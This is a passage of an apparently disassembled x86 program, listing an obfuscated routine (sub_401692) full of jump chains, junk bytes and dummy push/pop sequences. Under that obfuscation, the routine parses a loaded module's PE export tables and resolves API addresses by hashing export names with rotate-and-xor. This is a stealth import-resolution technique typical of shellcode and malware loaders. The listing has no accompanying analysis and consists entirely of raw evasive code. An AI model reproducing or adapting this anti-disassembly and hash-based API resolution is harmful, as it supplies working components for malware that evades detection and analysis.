		db 7Fh
		dd 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h
; ---------------------------------------------------------------------------


loc_401800:				; CODE XREF: sub_401692:loc_4017C1j
		mov	ebx, [ebp+8]
		jmp	short loc_401831
; ---------------------------------------------------------------------------
		db 26h,	67h, 14h
		dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h,	0B0F3622Dh
		dd 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh
; ---------------------------------------------------------------------------


loc_40182C:				; CODE XREF: sub_401692:loc_401831j
		jmp	short loc_401858
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_401831:				; CODE XREF: sub_401692+171j
		jmp	short loc_40182C
; ---------------------------------------------------------------------------
		or	al, 55h


loc_401835:				; CODE XREF: sub_401692:loc_401858j
		jmp	short loc_401868
; ---------------------------------------------------------------------------
		db 6Ah
		dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh,	0E641284Bh
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh
; ---------------------------------------------------------------------------


loc_401858:				; CODE XREF: sub_401692:loc_40182Cj
		jmp	short loc_401835
; ---------------------------------------------------------------------------
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf


loc_401868:				; CODE XREF: sub_401692:loc_401835j
		mov	ecx, ebx
		push	esi
		push	ecx
		mov	ecx, 80895Ah
		neg	ecx
		repne xchg ecx,	ecx
		inc	ecx
		cld
		pop	ecx
		pop	esi
		add	ebx, [ebx+3Ch]
		jmp	short loc_4018AA
; ---------------------------------------------------------------------------
		db 0A0h
; ---------------------------------------------------------------------------
		pop	ecx
		push	ds


loc_401882:				; CODE XREF: sub_401692:loc_4018AAj
		jmp	short loc_4018BD
; ---------------------------------------------------------------------------
		dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh
		dd 0A601E80Bh, 323D94E7h, 7E390083h, 8AF52CDFh
		db 0FBh, 18h
; ---------------------------------------------------------------------------


loc_4018AA:				; CODE XREF: sub_401692+1EBj
		jmp	short loc_401882
; ---------------------------------------------------------------------------
		jno	short loc_401904
		xlat


loc_4018AF:				; CODE XREF: sub_401692:loc_4018BDj
		jmp	short loc_4018DD
; ---------------------------------------------------------------------------
		db 0C4h, 0ADh, 0E2h
; ---------------------------------------------------------------------------
		jnb	short loc_4018E6
		test	eax, 655CCF2Eh
		cmp	ch, bl


loc_4018BD:				; CODE XREF: sub_401692:loc_401882j
		jmp	short loc_4018AF
; ---------------------------------------------------------------------------
		dec	eax


loc_4018C0:				; CODE XREF: sub_401692:loc_4018DDj
		jmp	short loc_4018ED
; ---------------------------------------------------------------------------
		dw 6E1h
		dd 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h
		dd 8E899053h
; ---------------------------------------------------------------------------
		scasd


loc_4018DD:				; CODE XREF: sub_401692:loc_4018AFj
		jmp	short loc_4018C0
; ---------------------------------------------------------------------------
		db 0BCh
		dd 0A8CB9A45h
		db 0C1h, 66h
; ---------------------------------------------------------------------------


loc_4018E6:				; CODE XREF: sub_401692+222j
		cmpsd
		push	esp
		std
		repne inc ebx
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------
		stc


loc_4018ED:				; CODE XREF: sub_401692:loc_4018C0j
		push	dword ptr [ebx+7Ch]
		jmp	short loc_401920
; ---------------------------------------------------------------------------
		dw 6D84h
; ---------------------------------------------------------------------------
		mov	ds:0EE69F033h, al


loc_4018F9:				; CODE XREF: sub_401692:loc_401920j
		jmp	short loc_401930
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0ABFA251Ch, 87C6A108h
; ---------------------------------------------------------------------------


loc_401904:				; CODE XREF: sub_401692+21Aj
		mov	ah, 0DDh
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short loc_40198B
		in	al, 4Dh
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd
		jl	short near ptr byte_401923
		pop	edx
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_401692+25Ej
		jmp	short loc_4018F9
; ---------------------------------------------------------------------------
		db 68h
byte_401923	db 81h			; CODE XREF: sub_401692+28Aj
		db 26h,	67h
; ---------------------------------------------------------------------------


loc_401926:				; CODE XREF: sub_401692:loc_401930j
		jmp	short loc_401953
; ---------------------------------------------------------------------------
		dd 3B2BD14h, 5FFEB980h
; ---------------------------------------------------------------------------


loc_401930:				; CODE XREF: sub_401692:loc_4018F9j
		jmp	short loc_401926
; ---------------------------------------------------------------------------
		lodsb


loc_401933:				; CODE XREF: sub_401692:loc_401953j
		jmp	short loc_401964
; ---------------------------------------------------------------------------
		db 75h,	0Ah, 7Bh
		dd 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh,	478661C8h
		dd 0E3129D74h
		db 0E0h, 99h, 5Eh
; ---------------------------------------------------------------------------


loc_401953:				; CODE XREF: sub_401692:loc_401926j
		jmp	short loc_401933
; ---------------------------------------------------------------------------
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h


loc_401964:				; CODE XREF: sub_401692:loc_401933j
		mov	ebx, [ebx+78h]
		jmp	short loc_401977
; ---------------------------------------------------------------------------
		dec	ebx
		sub	[ecx-1Ah], al
		daa
		aam	7Dh


loc_401970:				; CODE XREF: sub_401692:loc_401977j
		jmp	short loc_40199E
; ---------------------------------------------------------------------------
		dw 0C372h
		db 40h,	79h, 0BEh
; ---------------------------------------------------------------------------


loc_401977:				; CODE XREF: sub_401692+2D5j
		jmp	short loc_401970
; ---------------------------------------------------------------------------


loc_401979:				; CODE XREF: sub_401692:loc_40199Ej
		jmp	short loc_4019B1
; ---------------------------------------------------------------------------
		db 1Fh
		dd 3BCA356Ch, 1796B158h, 0B322ED04h
		db 70h,	0E9h, 6Eh
; ---------------------------------------------------------------------------


loc_40198B:				; CODE XREF: sub_401692+280j
		setl	byte ptr [ebp+21882B7Ah]
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger
; ---------------------------------------------------------------------------
		db 15h
; ---------------------------------------------------------------------------


loc_40199E:				; CODE XREF: sub_401692:loc_401970j
		jmp	short loc_401979
; ---------------------------------------------------------------------------
		dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh
		db 0DAh
; ---------------------------------------------------------------------------


loc_4019B1:				; CODE XREF: sub_401692:loc_401979j
		add	ebx, ecx
		jmp	short loc_4019E5
; ---------------------------------------------------------------------------
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_4019B7:				; CODE XREF: sub_401692:loc_4019E5j
		jmp	short loc_401A00
; ---------------------------------------------------------------------------
		db 32h,	83h, 0
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh,	5CCF2EA9h
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
; ---------------------------------------------------------------------------
		push	ecx


loc_4019E5:				; CODE XREF: sub_401692+321j
		jmp	short loc_4019B7
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
; ---------------------------------------------------------------------------


loc_401A00:				; CODE XREF: sub_401692:loc_4019B7j
		add	[esp+0], ebx
		push	ecx
		push	esi
		cmp	ebp, ebp
		push	ebp
		pop	ecx
		cmp	ecx, edi
		sbb	ecx, 80A89Ah
		mov	ecx, 80AADAh
		or	esi, 80B85Ah
		cld
		pop	esi
		pop	ecx
		mov	edi, [ebx+20h]
		push	esi
		push	ebx
		inc	ebx
		push	ecx
		pop	esi
		dec	esi
		xor	ebx, esi
		cmc
		cld
		pop	ebx
		pop	esi
		add	edi, ecx
		push	eax
		push	edx
		cmp	esp, eax
		test	eax, ebp
		mov	eax, 80B05Ah
		mov	ax, 4BFFh
		cmp	esp, eax
		mov	eax, 809C5Ah
		push	edx
		pop	edx
		inc	eax
		cld
		pop	edx
		pop	eax
		xor	esi, esi
		push	ebx
		push	esi
		mov	ebx, 81211Ah
		mov	esi, 809B5Ah
		rol	esi, 0F5h


loc_401A5D:				; CODE XREF: sub_401692+42Cj
					; sub_401692+430j
		xor	esi, edi
		push	esp
		pop	ebx
		neg	ebx
		cld
		pop	esi
		pop	ebx


loc_401A66:				; CODE XREF: sub_401692+5DDj
		lea	edx, [edi+esi*4]
		jmp	short loc_401A97
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		imul	ebp, esi, 0FA251C8Fh


loc_401A72:				; CODE XREF: sub_401692:loc_401A97j
		jmp	short loc_401AA7
; ---------------------------------------------------------------------------
		dd 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh
		dd 24DE477h, 4E495013h,	5A057C6Fh
; ---------------------------------------------------------------------------
		mov	ebp, [eax-7Fh]


loc_401A97:				; CODE XREF: sub_401692+3D7j
		jmp	short loc_401A72
; ---------------------------------------------------------------------------
		db 26h,	67h, 14h
		dd 8003B2BDh, 0AC5FFEB9h
		db 75h,	0Ah, 7Bh
; ---------------------------------------------------------------------------


loc_401AA7:				; CODE XREF: sub_401692:loc_401A72j
		mov	edx, [edx]
		jmp	short loc_401ADB
; ---------------------------------------------------------------------------
		push	edi
		inc	esp
		sub	eax, 29B0F362h


loc_401AB2:				; CODE XREF: sub_401692:loc_401ADBj
		jmp	short loc_401AF2
; ---------------------------------------------------------------------------
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_401A5D
		adc	ah, bl
		loopne	loc_401A5D
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]


loc_401ADB:				; CODE XREF: sub_401692+417j
		jmp	short loc_401AB2
; ---------------------------------------------------------------------------
		db 41h,	0E6h, 27h
		dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h
; ---------------------------------------------------------------------------
		add	al, 0EDh


loc_401AF2:				; CODE XREF: sub_401692:loc_401AB2j
		add	edx, ecx
		jmp	short loc_401B18
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]


loc_401AFD:				; CODE XREF: sub_401692:loc_401B18j
		jmp	short loc_401B2F
; ---------------------------------------------------------------------------
		db 46h
		dd 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h
		dd 0CEC9D093h
; ---------------------------------------------------------------------------


loc_401B18:				; CODE XREF: sub_401692+462j
		jmp	short loc_401AFD
; ---------------------------------------------------------------------------
		dw 0FCEFh
; ---------------------------------------------------------------------------
		test	ebx, edx


loc_401B1E:				; CODE XREF: sub_401692:loc_401B2Fj
		jmp	short loc_401B4E
; ---------------------------------------------------------------------------
		dd 0A601E80Bh, 323D94E7h, 7E390083h
		db 0DFh, 2Ch, 0F5h
; ---------------------------------------------------------------------------


loc_401B2F:				; CODE XREF: sub_401692:loc_401AFDj
		jmp	short loc_401B1E
; ---------------------------------------------------------------------------
		db 8Ah,	0FBh, 18h
		dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h, 48EB3A65h,	0F4C706E1h
		dd 6063921Dh
; ---------------------------------------------------------------------------
		sbb	esi, ebx


loc_401B4E:				; CODE XREF: sub_401692:loc_401B1Ej
		mov	[ebp-4], edx
		push	edi
		push	ebx
		ror	edi, 7
		cld
		pop	ebx
		pop	edi
		xor	eax, eax
		push	esi
		push	ebx
		mov	esi, 809C5Ah
		ror	esi, 0D6h
		inc	esi
		xor	ebx, esp
		cld
		pop	ebx
		pop	esi


loc_401B6B:				; CODE XREF: sub_401692+5A6j
		rol	eax, 7
		jmp	short loc_401B9B
; ---------------------------------------------------------------------------
		db 0B6h, 0B7h, 24h
; ---------------------------------------------------------------------------


loc_401B73:				; CODE XREF: sub_401692:loc_401B9Bj
		jmp	short loc_401BAE
; ---------------------------------------------------------------------------
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
		dd 33A26D84h
		db 0F0h, 69h, 0EEh
; ---------------------------------------------------------------------------


loc_401B9B:				; CODE XREF: sub_401692+4DCj
		jmp	short loc_401B73
; ---------------------------------------------------------------------------
		db 8Fh,	1Ch, 25h
		dd 0A108ABFAh, 0DDB487C6h, 0D9202352h
		db 9Eh,	7Fh
; ---------------------------------------------------------------------------


loc_401BAE:				; CODE XREF: sub_401692:loc_401B73j
		xor	al, [edx]
		push	edx
		push	ecx
		mov	dx, 4947h
		sub	ecx, 808F5Ah
		dec	ecx
		cld
		pop	ecx
		pop	edx
		inc	edx
		jmp	short loc_401BED
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2681688Bh
		db 67h,	14h
; ---------------------------------------------------------------------------


loc_401BCA:				; CODE XREF: sub_401692:loc_401BEDj
		jmp	short loc_401BFD
; ---------------------------------------------------------------------------
		dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h,	0B0F3622Dh
		dd 0DC4FAE29h, 0C86BBAE5h, 74478661h
; ---------------------------------------------------------------------------
		popf


loc_401BED:				; CODE XREF: sub_401692+52Fj
		jmp	short loc_401BCA
; ---------------------------------------------------------------------------


loc_401BEF:				; CODE XREF: sub_401692:loc_401BFDj
		jmp	short loc_401C20
; ---------------------------------------------------------------------------
		db 12h,	0E3h, 0E0h
		dd 0C3F5E99h, 0F85B6A55h
		db 0D1h
; ---------------------------------------------------------------------------


loc_401BFD:				; CODE XREF: sub_401692:loc_401BCAj
		jmp	short loc_401BEF
; ---------------------------------------------------------------------------
		db 36h
		dd 0C20DA437h
; ---------------------------------------------------------------------------


loc_401C04:				; CODE XREF: sub_401692:loc_401C20j
		jmp	short loc_401C35
; ---------------------------------------------------------------------------
		dw 10D3h
		dd 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh,	6C1FBE79h
		dd 583BCA35h
; ---------------------------------------------------------------------------


loc_401C20:				; CODE XREF: sub_401692:loc_401BEFj
		jmp	short loc_401C04
; ---------------------------------------------------------------------------
		dw 96B1h
		dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh
; ---------------------------------------------------------------------------
		pop	es


loc_401C35:				; CODE XREF: sub_401692:loc_401C04j
		cmp	byte ptr [edx],	0
		jnz	loc_401B6B
		push	edx
		push	ebx
		mov	bx, 499Eh
		xchg	ebx, edx
		clc
		cld
		pop	ebx
		pop	edx
		cmp	eax, [ebp+0Ch]
		jz	loc_401CE2
		push	edx
		push	edi
		cld
		mov	edx, esp
		not	edx
		shr	edx, 3Fh
		cmp	ch, ch
		cmc
		cld
		pop	edi
		pop	edx
		inc	esi
		push	ecx
		push	esi
		xchg	ecx, ecx
		dec	esi
		cld
		pop	esi
		pop	ecx
		cmp	esi, [ebx+18h]
		jb	loc_401A66
		jmp	short loc_401C95
; ---------------------------------------------------------------------------
		db 91h
		dd 0CD64F7F6h
		db 82h,	93h
; ---------------------------------------------------------------------------


loc_401C7E:				; CODE XREF: sub_401692:loc_401C95j
		jmp	short loc_401CAC
; ---------------------------------------------------------------------------
		dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
		db 2Ch
; ---------------------------------------------------------------------------


loc_401C95:				; CODE XREF: sub_401692+5E3j
		jmp	short loc_401C7E
; ---------------------------------------------------------------------------


loc_401C97:				; CODE XREF: sub_401692:loc_401CACj
		jmp	short loc_401CC3
; ---------------------------------------------------------------------------
		db 0F5h, 8Ah, 0FBh
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
; ---------------------------------------------------------------------------


loc_401CAC:				; CODE XREF: sub_401692:loc_401C7Ej
		jmp	short loc_401C97
; ---------------------------------------------------------------------------
		dw 0E148h
; ---------------------------------------------------------------------------


loc_401CB0:				; CODE XREF: sub_401692:loc_401CC3j
		jmp	short loc_401CE2
; ---------------------------------------------------------------------------
		dw 0C706h
		dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch
		db 78h,	51h, 0B6h
; ---------------------------------------------------------------------------


loc_401CC3:				; CODE XREF: sub_401692:loc_401C97j
		jmp	short loc_401CB0
; ---------------------------------------------------------------------------
		mov	bh, 24h
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh
		db 4Ah,	0BBh
; ---------------------------------------------------------------------------


loc_401CE2:				; CODE XREF: sub_401692+5BBj
					; sub_401692:loc_401CB0j
		mov	edx, [ebx+24h]
		push	eax
		push	edx
		neg	edx
		mov	edx, edx	; CODE XREF: sub_401692+6B9j
					; sub_401692+6BDj
		inc	eax
		not	eax
		cld
		pop	edx
		pop	eax
		add	edx, ecx
		jmp	short loc_401D0B
; ---------------------------------------------------------------------------
		db 0EEh, 8Fh, 1Ch
		dd 8ABFA25h
; ---------------------------------------------------------------------------


loc_401CFC:				; CODE XREF: sub_401692:loc_401D0Bj
		jmp	short loc_401D2A
; ---------------------------------------------------------------------------
		dw 0C6A1h
; ---------------------------------------------------------------------------
		xchg	esi, [ebp+ebx*8-26DFDCAEh]
		sahf
		jg	short loc_401D56
		xchg	eax, ebp


loc_401D0B:				; CODE XREF: sub_401692+661j
		jmp	short loc_401CFC
; ---------------------------------------------------------------------------


loc_401D0D:				; CODE XREF: sub_401692:loc_401D2Aj
		jmp	short loc_401D3A
; ---------------------------------------------------------------------------
		db 0AAh
		dd 7611389Bh, 24DE477h,	4E495013h, 5A057C6Fh, 2681688Bh
		dd 0B2BD1467h
		db 3, 80h
; ---------------------------------------------------------------------------


loc_401D2A:				; CODE XREF: sub_401692:loc_401CFCj
		jmp	short loc_401D0D
; ---------------------------------------------------------------------------
		dd 0AC5FFEB9h
; ---------------------------------------------------------------------------
		jnz	short loc_401D3C


loc_401D32:				; CODE XREF: sub_401692:loc_401D3Aj
		jmp	short loc_401D5D
; ---------------------------------------------------------------------------
		dd 0D6F1987Bh
; ---------------------------------------------------------------------------
		push	edi
		inc	esp


loc_401D3A:				; CODE XREF: sub_401692:loc_401D0Dj
		jmp	short loc_401D32
; ---------------------------------------------------------------------------


loc_401D3C:				; CODE XREF: sub_401692+69Ej
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short near ptr loc_401CE9+1
		adc	ah, bl
		loopne	near ptr loc_401CE9+1
		pop	esi
		aas
		or	al, 55h
; ---------------------------------------------------------------------------
		db 6Ah
; ---------------------------------------------------------------------------


loc_401D56:				; CODE XREF: sub_401692+676j
		pop	ebx
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
; ---------------------------------------------------------------------------
		db 0Dh
; ---------------------------------------------------------------------------


loc_401D5D:				; CODE XREF: sub_401692:loc_401D32j
		movzx	edx, word ptr [edx+esi*2]
		jmp	short loc_401D8D
; ---------------------------------------------------------------------------
		db 27h
		dd 0C3727DD4h
		db 40h,	79h
; ---------------------------------------------------------------------------


loc_401D6A:				; CODE XREF: sub_401692:loc_401D8Dj
		jmp	short loc_401D9E
; ---------------------------------------------------------------------------
		dd 356C1FBEh, 0B1583BCAh, 0ED041796h, 0E970B322h, 0A59C0F6Eh
		dd 21882B7Ah, 5D340746h, 59A0A3D2h
; ---------------------------------------------------------------------------
		push	ds


loc_401D8D:				; CODE XREF: sub_401692+6CFj
		jmp	short loc_401D6A
; ---------------------------------------------------------------------------
		db 0FFh
		db 0CCh
		db 15h,	2Ah
; ---------------------------------------------------------------------------


loc_401D93:				; CODE XREF: sub_401692:loc_401D9Ej
		jmp	short loc_401DBD
; ---------------------------------------------------------------------------
		db 1Bh,	0B8h, 91h
		dd 0CD64F7F6h
		db 82h,	93h
; ---------------------------------------------------------------------------


loc_401D9E:				; CODE XREF: sub_401692:loc_401D6Aj
		jmp	short loc_401D93
; ---------------------------------------------------------------------------
		dd 0EFCEC9D0h
; ---------------------------------------------------------------------------


loc_401DA4:				; CODE XREF: sub_401692:loc_401DBDj
		jmp	short loc_401DD4
; ---------------------------------------------------------------------------
		dw 85FCh
		dd 1E80BDAh, 3D94E7A6h,	39008332h, 0F52CDF7Eh, 7118FB8Ah
; ---------------------------------------------------------------------------
		push	esi


loc_401DBD:				; CODE XREF: sub_401692:loc_401D93j
		jmp	short loc_401DA4
; ---------------------------------------------------------------------------
		db 0D7h
		dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h, 63921DF4h
; ---------------------------------------------------------------------------


loc_401DD4:				; CODE XREF: sub_401692:loc_401DA4j
		mov	eax, [ebx+1Ch]
		jmp	short loc_401E09
; ---------------------------------------------------------------------------
		js	short loc_401E2C
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h
; ---------------------------------------------------------------------------


loc_401DF0:				; CODE XREF: sub_401692:loc_401E09j
		jmp	short loc_401E20
; ---------------------------------------------------------------------------
		dw 0C043h
		dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h
		db 25h
; ---------------------------------------------------------------------------


loc_401E09:				; CODE XREF: sub_401692+745j
		jmp	short loc_401DF0
; ---------------------------------------------------------------------------
		db 0FAh
		dd 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------


loc_401E11:				; CODE XREF: sub_401692:loc_401E20j
		jmp	short loc_401E3F
; ---------------------------------------------------------------------------
		db 0B4h
		dd 202352DDh, 4C7F9ED9h, 389BAA95h
; ---------------------------------------------------------------------------


loc_401E20:				; CODE XREF: sub_401692:loc_401DF0j
		jmp	short loc_401E11
; ---------------------------------------------------------------------------


loc_401E22:				; CODE XREF: sub_401692:loc_401E3Fj
		jmp	short loc_401E4F
; ---------------------------------------------------------------------------
		dd 0E4777611h, 5013024Dh
; ---------------------------------------------------------------------------


loc_401E2C:				; CODE XREF: sub_401692+747j
		dec	ecx
		dec	esi
		outsd
		jl	short near ptr loc_401E35+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_401E35:				; CODE XREF: sub_401692+79Dj
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
; ---------------------------------------------------------------------------
		db 80h
		db 0B9h, 0FEh, 5Fh
; ---------------------------------------------------------------------------


loc_401E3F:				; CODE XREF: sub_401692:loc_401E11j
		jmp	short loc_401E22
; ---------------------------------------------------------------------------
		db 0ACh, 75h, 0Ah
		dd 0D6F1987Bh, 622D4457h
		db 0F3h, 0B0h, 29h
; ---------------------------------------------------------------------------


loc_401E4F:				; CODE XREF: sub_401692:loc_401E22j
		add	eax, ecx
		jmp	short loc_401E81
; ---------------------------------------------------------------------------
		db 47h
		dd 0E3129D74h
		db 0E0h, 99h
; ---------------------------------------------------------------------------


loc_401E5A:				; CODE XREF: sub_401692:loc_401E81j
		jmp	short loc_401E91
; ---------------------------------------------------------------------------
		dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh
		dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh
		db 0CAh
; ---------------------------------------------------------------------------


loc_401E81:				; CODE XREF: sub_401692+7BFj
		jmp	short loc_401E5A
; ---------------------------------------------------------------------------
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi


loc_401E87:				; CODE XREF: sub_401692:loc_401E91j
		jmp	short loc_401EB4
; ---------------------------------------------------------------------------
		db 17h,	4, 0EDh
		dd 0E970B322h
		db 6Eh
; ---------------------------------------------------------------------------


loc_401E91:				; CODE XREF: sub_401692:loc_401E5Aj
		jmp	short loc_401E87
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------


loc_401E94:				; CODE XREF: sub_401692:loc_401EB4j
		jmp	short loc_401EC4
; ---------------------------------------------------------------------------
		dw 0A59Ch
		dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah
		dd 0CD64F7F6h, 0C9D09382h
; ---------------------------------------------------------------------------


loc_401EB4:				; CODE XREF: sub_401692:loc_401E87j
		jmp	short loc_401E94
; ---------------------------------------------------------------------------
		dw 0EFCEh
		dd 0BDA85FCh, 0E7A601E8h, 83323D94h
; ---------------------------------------------------------------------------


loc_401EC4:				; CODE XREF: sub_401692:loc_401E94j
		mov	eax, [eax+edx*4]
		push	edx
		push	ebx
		rcr	ebx, 7Ah
		sbb	edx, 80A11Ah
		mov	edx, 808FDAh
		cld
		cld
		pop	ebx
		pop	edx
		add	eax, ecx
		jmp	short loc_401F0D
; ---------------------------------------------------------------------------
		db 18h
		dd 0C4D75671h
		db 0ADh, 0E2h
; ---------------------------------------------------------------------------


loc_401EE6:				; CODE XREF: sub_401692:loc_401F0Dj
		jmp	short loc_401F1D
; ---------------------------------------------------------------------------
		dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h
		dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h
; ---------------------------------------------------------------------------
		scasd


loc_401F0D:				; CODE XREF: sub_401692+84Bj
		jmp	short loc_401EE6
; ---------------------------------------------------------------------------
		db 0BCh
		db 45h,	9Ah, 0CBh
; ---------------------------------------------------------------------------


loc_401F13:				; CODE XREF: sub_401692:loc_401F1Dj
		jmp	short loc_401F40
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h
; ---------------------------------------------------------------------------
		inc	ebx


loc_401F1D:				; CODE XREF: sub_401692:loc_401EE6j
		jmp	short loc_401F13
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h
		dd 8ABFA25h, 0B487C6A1h, 202352DDh
; ---------------------------------------------------------------------------


loc_401F40:				; CODE XREF: sub_401692:loc_401F13j
		pop	ecx
		push	ecx
		push	edi
		jmp	loc_401F4C
; ---------------------------------------------------------------------------
		ror	ecx, 49h
		std


loc_401F4C:				; CODE XREF: sub_401692+8B1j
		shr	ecx, 4Ch
		cmp	dl, dh
		test	cl, ah
		test	al, dh
		test	ecx, eax
		xor	edi, esi
		xchg	edi, edi
		stc
		push	edx
		pop	ecx
		cld
		pop	edi
		pop	ecx
		cmp	eax, ebx
		jbe	loc_40211D
		push	ecx
		push	edx
		cmp	al, 0D8h
		neg	ecx
		mov	dx, 4934h
		dec	edx
		dec	edx
		rep cld
		pop	edx
		pop	ecx
		cmp	eax, ecx
		jnb	loc_40211D
		jmp	short loc_401FB0
; ---------------------------------------------------------------------------
		dec	ebp
		add	dl, [ebx]


loc_401F86:				; CODE XREF: sub_401692:loc_401FB0j
		jmp	short loc_401FC3
; ---------------------------------------------------------------------------
		dd 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h, 5FFEB980h
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h,	6BBAE5DCh
; ---------------------------------------------------------------------------


loc_401FB0:				; CODE XREF: sub_401692+8EFj
		jmp	short loc_401F86
; ---------------------------------------------------------------------------
		db 0C8h
; ---------------------------------------------------------------------------


loc_401FB3:				; CODE XREF: sub_401692:loc_401FC3j
		jmp	short loc_401FE3
; ---------------------------------------------------------------------------
		db 61h,	86h, 47h
		dd 0E3129D74h, 3F5E99E0h
		db 0Ch,	55h, 6Ah
; ---------------------------------------------------------------------------


loc_401FC3:				; CODE XREF: sub_401692:loc_401F86j
		jmp	short loc_401FB3
; ---------------------------------------------------------------------------
		db 5Bh,	0F8h, 0D1h
		dd 0DA43736h
; ---------------------------------------------------------------------------


loc_401FCC:				; CODE XREF: sub_401692:loc_401FE3j
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------
		dw 0D3C2h
		dd 2F0E0910h, 4B1AC53Ch, 27E64128h, 0C3727DD4h
		db 40h,	79h, 0BEh
; ---------------------------------------------------------------------------


loc_401FE3:				; CODE XREF: sub_401692:loc_401FB3j
		jmp	short loc_401FCC
; ---------------------------------------------------------------------------
		db 1Fh,	6Ch, 35h
		dd 0B1583BCAh, 0ED041796h, 0E970B322h, 0A59C0F6Eh
; ---------------------------------------------------------------------------
		jp	short loc_402025


loc_401FFA:				; CODE XREF: sub_401692:loc_401FCCj
		push	dword ptr [ebp-4]
		push	esi
		push	edx
		mov	edx, esp
		inc	edx
		cld
		pop	edx
		pop	esi
		push	dword ptr [ebp+8]
		jmp	short loc_402038
; ---------------------------------------------------------------------------
		dw 0D25Dh
		dd 1E59A0A3h
; ---------------------------------------------------------------------------


loc_402010:				; CODE XREF: sub_401692+99Dj
		dec	esp
		adc	eax, 91B81B2Ah
		div	bh
		db	64h
		int	82h
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax
		cld
		test	ebx, edx
; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------


loc_402025:				; CODE XREF: sub_401692+966j
		call	near ptr 9527C62Bh
		cmp	eax, 39008332h
		jle	short loc_402010


